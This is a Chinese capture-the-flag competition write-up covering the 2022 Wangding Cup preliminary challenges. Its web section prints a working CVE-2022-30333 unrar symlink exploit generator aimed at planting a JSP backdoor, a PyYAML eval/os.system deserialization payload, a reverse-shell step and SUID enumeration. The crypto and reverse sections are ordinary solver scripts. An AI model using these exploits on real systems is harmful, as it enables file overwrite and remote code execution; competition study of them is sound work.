第三届网鼎杯初赛 writeup by or4nge
第三届网鼎杯初赛 writeup by or4ngerank: 16thor4nge 的师傅们在第三届“网鼎杯”网络安全大赛青龙组初赛中奋战 8 小时,成功 AK 了 Crypto 方向并晋级半决赛, 2022-9-9 15:13:0 Author: 赛博安全社团(查看原文) 阅读量:83 收藏

第三届网鼎杯初赛 writeup by or4nge
rank: 16th
or4nge 的师傅们在第三届“网鼎杯”网络安全大赛青龙组初赛中奋战 8 小时,成功 AK 了 Crypto 方向并晋级半决赛,师傅们真棒!

Web

web669

审源码,发现存在路径穿越(双写绕过过滤);

读/etc/hosts,找到secret-key为engine-1,用flask-session-manager跑出来管理员的session

文件上传unrar任意写漏洞(CVE-2022-30333),ruby脚本跑一下,上传。注意md5值。

 1require 'zlib'
2if ARGV.length != 2
3  $stderr.puts "Usage: ruby ./create-payload <../../target/file> <filename to read payload from>"
4  $stderr.puts
5  $stderr.puts "Eg: $ ruby ./create-payload.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./reverse-tcp-4444.jsp"
6  exit
7end
8SYMLINK_LENGTH = 0x68
9PAYLOAD_SYMLINK = (ARGV[0] + "\0").ljust(SYMLINK_LENGTH, "\0").gsub('/', '\\')
10if PAYLOAD_SYMLINK.length != SYMLINK_LENGTH
11  $stderr.puts "Payload symlink is invalid, probably too long!"
12  exit
13end
14PAYLOAD_LENGTH = 0x1000
15PAYLOAD_DATA = File.read(ARGV[1]).ljust(4096, "\0")
16if PAYLOAD_DATA.length != PAYLOAD_LENGTH
17  $stderr.puts "Payload data is invalid, probably too long!"
18  exit
19end
20FILENAME_LENGTH = 0x0c
21FILENAME = "DONTLOOKATME"
22RAR = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00\x9e\xe2\xc4\xf5\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c"
23RAR.concat(FILENAME) # Symlink filename
24RAR.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
25RAR.concat(PAYLOAD_SYMLINK)
26RAR.concat("\xf3\xa1\x93\x68\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
27RAR.concat([Zlib::crc32(PAYLOAD_DATA)].pack('V'))
28RAR.concat("\x80\x00\x00\x0c")
29RAR.concat(FILENAME) # Data filename (same as symlink to overwrite it)
30RAR.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
31RAR.concat(PAYLOAD_DATA)
32RAR.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")
33print RAR
34ruby ./cve-2022-30333.rb '../../../../fileinfo/ebfcb737ca3d64fc30f0e589007d4f58.yaml' ./test.yaml > 3.rar

左右括号和system用编码绕,tuple用bytes绕

1!!python/object/new:bytes
2- !!python/object/new:map
3  - !!python/name:eval
4  - ["__import__\x28'os'\x29.\x73ystem\x28'【command】'\x29"]

访问/payload?display=3 反弹shell

1find / -user root -perm -4000 -print 2>/dev/null

看到dd有suid
dd if=/flag即可

Pwn

pwn497

非预期做法,在文件系统里漫游尝试到一个可执行文件/lib/systemd/systemd-modules-load,使用它执行flag即可得解

1/lib/systemd/systemd-modules-load flag

Crypto

crypto091

查询可得1709号段为联通的最初号码,用以下脚本爆破可得答案。

 1import hashlib
2
3hv = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'
4i = 0
5while True:
6    psw = '861709'
7    psw += str(i).zfill(7)
8    m = hashlib.sha256()
9    m.update(psw.encode())
10    res = m.hexdigest()
11    print(psw, res)
12    if res == hv:
13        break
14    i += 1

crypto405

用脚本处理txt

1f = open('output.txt', 'r')
2l = []
3for i in range(41):
4    rl = f.readline()
5    numStr = rl[15:19]
6    l.append(int(numStr, 16))

由提示flag{为前5字符,未知数也有5个,可通过方程得参数。不知道,但范围只有30000+,尝试爆破,后来发现至少大于57000,由后的最大值可得,爆破范围只有8000+,爆破即得答案。

 1rl = [8294, 41506, 52145, 56244, 57012, 45509, 13220, 49233, 15225, 27640, 8497, 11328, 37306, 31556, 24357, 520, 32475,
2      25269, 52933, 23219, 15430, 49778, 29003, 40459, 18670, 17612, 1440, 15779, 4529, 9631, 35229, 41264, 58767, 9203,
3      22569, 27627, 13953, 84, 41353, 10085, 50749]
4
5
6def MillerRabinTest(p, k=10):
7    from random import randint
8    if p < 2:
9        return False
10    if p <= 3:
11        return True
12    if p & 1 == 0:
13        return False
14    s = 0
15    m = p - 1
16    while m and m & 1 == 0:
17        s += 1
18        m >>= 1
19    for j in range(k):
20        randomi = randint(2, p - 2)
21        if gcd(randomi, p) != 1:
22            return False
23        b = pow(randomi, m, p)
24        if b == 1 or b == p - 1:
25            continue
26        for i in range(s - 1):
27            b = pow(b, 2, p)
28            if b == 1:
29                return False
30            if b == p - 1:
31                break
32        else:
33            return False
34    return True
35
36
37rn = [ord('f'), ord('l'), ord('a'), ord('g'), ord('{')]
38p = 57000
39while True:
40    flag=''
41    if MillerRabinTest(p):
42        eqs=[]
43        kt=[]
44        kl=[]
45        R=GF(p)
46        k=list(var('k_%d'%i) for i in range(5))
47        for i in range(5):
48            kt.append(k[i])
49        for i in range(5):
50            if i!=0:
51                kt[0]=rn[i-1]*kt[0]
52                kt[1]*=kt[0]
53                kt[2]*=kt[1]
54                kt[3]*=kt[2]
55                kt[4]*=kt[3]
56            le=rn[i]*kt[0]*kt[1]*kt[2]*kt[3]*kt[4]
57            equ=(le==rl[i])
58            eqs.append(equ)
59        res=solve(eqs,k,solution_dict=True)
60        for i in range(5):
61            tmp=res[0][k[i]]
62            ktmp=R(tmp.numerator())*R(tmp.denominator())^(-1)
63            kl.append(ktmp)
64        pd=0
65        for i in range(41):
66            ks=kl[0]*kl[1]*kl[2]*kl[3]*kl[4]
67            cr=R(rl[i])*(ks)^(-1)
68            flag+=str(chr(int(cr)))
69            if 31<cr<128:
70                kl[0]=cr*kl[0]
71                kl[1]*=kl[0]
72                kl[2]*=kl[1]
73                kl[3]*=kl[2]
74                kl[4]*=kl[3]
75            else:
76                pd=1
77                print(i)
78                break
79        if pd==0:
80            print(kl)
81            print(p)
82            print(flag)
83            break
84        print(p)
85    p += 1

crypto162

递推可划为矩阵乘法。正向是矩阵乘法。

矩阵乘法有级的算法。故可以解决。

矩阵快速幂:

 1cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468],
2         [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447],
3         [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477],
4         [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949],
5         [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321],
6         [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410],
7         [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953],
8         [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739],
9         [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237],
10         [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716],
11         [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298],
12         [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057],
13         [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009],
14         [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926],
15         [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351],
16         [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859],
17         [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088],
18         [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558],
19         [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654],
20         [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]
21
22sum=0
23for i in range(100):
24    M=matrix([cof_t[i],[1,0,0],[0,1,0]])
25    Mf=M^(200000-2)
26    v = matrix(3,1,[3,2,1])
27    vf=Mf*v
28    sum+=vf[0][0]
29print(str(sum)[-2000:-1000])

解密得flag:

1from hashlib import md5, sha256
2s = '8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748'
3key = md5(s.encode()).hexdigest()
4key = bytes.fromhex(key)
5check = sha256(key).hexdigest()
6print(check)
1from Crypto.Cipher import AES
2from hashlib import md5, sha256
3s = '8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748'
4key = md5(s.encode()).hexdigest()
5key = bytes.fromhex(key)
6aes = AES.new(key, AES.MODE_ECB)
7data = '4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87'
8data=bytes.fromhex(data)
9print(aes.decrypt(data))

Reverse

re694

动调分析关键函数,发现主函数结束后会跳到另一块区域,分析到输入部分

分析发现,该代码块调用多处加密,具体为0x1400119B0,0x140011840

加密过程易得为

1s[i]=((s[i]^0x66)+10)^0x50

与结果数组比较即可

1a = [0x4B, 0x48, 0x79, 0x13, 0x45, 0x30, 0x5C, 0x49, 0x5A, 0x79,
2     0x13, 0x70, 0x6D, 0x78, 0x13, 0x6F, 0x48, 0x5D, 0x64, 0x64]
3for i in a:
4    print(chr(((i ^ 0x50)-10) ^ 0x66), end='')

re693

转换初始数组或编译运行程序得到print内容为

1Input the first function, which has 6 parameters and the third named gLIhR:
2Input the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6:

第一处提示可直接搜索函数得到对应的函数名:ZlXDJkH3OZN4Mayd

第二处提示可使用脚本搜索

 1text = open('challenge', 'r').read().split('\n\n')
2text2 = [i.split('\n') for i in text]
3
4for i in text2:
5    if len(i) == 6:
6        x = i[4].split('(')[0][-16:]
7        if i[4].split('(')[0][-16:] == 'cHZv5op8rOmlAkb6':
8            str1 = i[0].split(' ')[1][:-2]
9            time = 0
10            for j in text2:
11                for k in j:
12                    if k.find(str1) > -1:
13                        time += 1
14            if time == 6:
15                print(str1)

得到两处函数名,在程序输入即可

Misc

签到

知识问答。搜索答案提交即可。


文章来源: http://mp.weixin.qq.com/s?__biz=MzkyNDIyNTE0OQ==&mid=2247484169&idx=4&sn=31f573659e25cc8bf06c260fa90022ce&chksm=c1d8581bf6afd10d5806f7b475c15bdd3a4622df6fede9f169e8855d00b5e1b83b225f7ee2b8#rd
如有侵权请联系:admin#unsafe.sh